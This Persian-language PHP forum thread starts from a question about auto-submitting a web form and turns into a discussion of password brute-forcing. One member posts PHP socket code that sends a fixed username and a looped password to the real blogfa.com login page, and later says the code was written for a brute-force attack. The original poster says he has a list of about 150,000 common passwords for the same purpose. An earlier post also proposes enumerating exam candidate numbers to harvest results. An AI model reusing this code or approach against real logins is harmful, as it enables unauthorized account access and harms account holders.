پر کردن یک فرم به صورت اتوماتیک (خیلی مهم)

hijam

New Member
من میخواهم یه برنامه با php بنویسم که یه فرم مشخص رو به صورت اتوماتیک پر کنه(اطلاعات رو به سرور ارسال کنه)

مثلا موقع اعلام نتایج کنکور -این برنامه شماره داوطلبی ها رو پشت سر هم به فرم(همون سرور) بده و اطلاعات دریافتی رو پردازش کنه.و مثلا تو یه بانک اطلاعاتی بذاره.
من تقریبا قسمت پردازش اطلاعات رو نوشتم. ولی تو نحوه پر کردن یه فرم مشکل دارم.(یا به عبارتی فرستادن اطلاعات به سرور)
آیا می شه با آدرس فرم رو پر کرد؟ فیلد های hidden رو چی؟

اگه میشه برای نمونه این فرم رو چطور پر کنم

کد:
<body>
<form method="post" action="process.php">
<input type="text" name="name" />
<input type="text" name="lname" />
<input type="hidden" name="authorize" value="1">
<input type="submit" />
</form>
</body>

برنامه مشابهی رو سراغ دارید

سپاس
 

oxygenws

Active Member
فرم نباید به طور فیزیکی پر بشه...
در راهنمای Php دنبال Curl بگرد.
 

x-hulk

Member
فرم نباید به طور فیزیکی پر بشه...
در راهنمای Php دنبال Curl بگرد.

من یک بار اومدم از Curl استفاده کنم تو یه هاستینگ مجانی پی اچ پی دیدم کار نمی کنه
تو سایت Php گشتم نوشته بود نسخه های جدید ساپورت می کنه
 

oxygenws

Active Member
من یک بار اومدم از Curl استفاده کنم تو یه هاستینگ مجانی پی اچ پی دیدم کار نمی کنه
تو سایت Php گشتم نوشته بود نسخه های جدید ساپورت می کنه
نه، مشکل از اینه که CURL باید همراه PHP کامپایل بشه... و خیلی ها کامپایلش نمی کنند!! (مخصوصا سایت های رایگان!!)
 

msnasiri

Member
دوست عزیز این کار ارسال اطلاعات به سرور هست که من از روش زیر استفاده می کنم
PHP:
$url='www.blogfa.com';
	$post_data="Username=ms-nasiri&Password=$i";
	$path="/desktop/login.aspx";
		$method='POST';
	$out = "$method $path HTTP/1.0\r\n";
	$out .= "Host: $url\r\n";
	$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$out .= "Content-Length: " . strlen($post_data) . "\r\n\r\n";
	$out .= $post_data."\r\n";
	$out .= "Connection: Close"."\r\n\r\n";
	$site='';
	$fp = fsockopen($url,80, $errno, $errstr,180);
	if (!$fp) {
		echo "$errstr ($errno)<br />\n";
	}else{
		fwrite($fp,$out);
		while(!feof($fp)){
		       $site.=fgets($fp, 128);
		}
		fclose($fp);
			}

این در اصل می آد یوزر نیم و پسورد رو به سایت بلاگفا می فرسته
و در نهایت خروجی ها در site ذخیره می شه.
به همین راحتی
 

spsgorgan

Active Member
جناب نصيري
ميخواستم خواهش كنم در صورت امكان در مورد سوكت ها يك مقدار توضيح بفرماييد
 

msnasiri

Member
حقیقتش رو بگم شاید اطلاعات زیادی نداشته باشم
و من این برنامه رو باسه کاری که داشتم نوشتم

حقیقتش نمی دونم شما چی مد نظرتونه اگه مورد خاصی هست بپرسید شاید بلد بودیم وگر نه هم که دوستان هستن
 

spsgorgan

Active Member
تقريبا شبيه همين چيزي كه اين دوستمون ميخواست . فرض كنيد يه ميخوايم به روش بروث فورس عمل كنيم و رمز رو در بياريم
 

msnasiri

Member
خب در اصل اینکه این برنامه رو نوشتم هم هدفم حمله به روش بوت فرث بوده
ولی یه مشکلی که وجود داره سرعت و زمان هست

و حقیقت امر من از curl اطلاعات زیادی ندارم اگه دوستان اطلاعاتی دارند بگن تا ما هم استفاده کنیم
 

hijam

New Member
لیست پسورد

منم هم اینکار رو برا بوت فورث می خواستم
من مشکل زمان رو اینطور حل کردم که به جای پسورد های رندوم از پسور های معمول استفاده می کنم
الان هم یه دیتابیس پسورد های معمول ساختم که حدود 150000 پسورد داره.
اگه کسی می خواد با ایمیلم تماس بگیره
فداتون
 

جدیدترین ارسال ها

بالا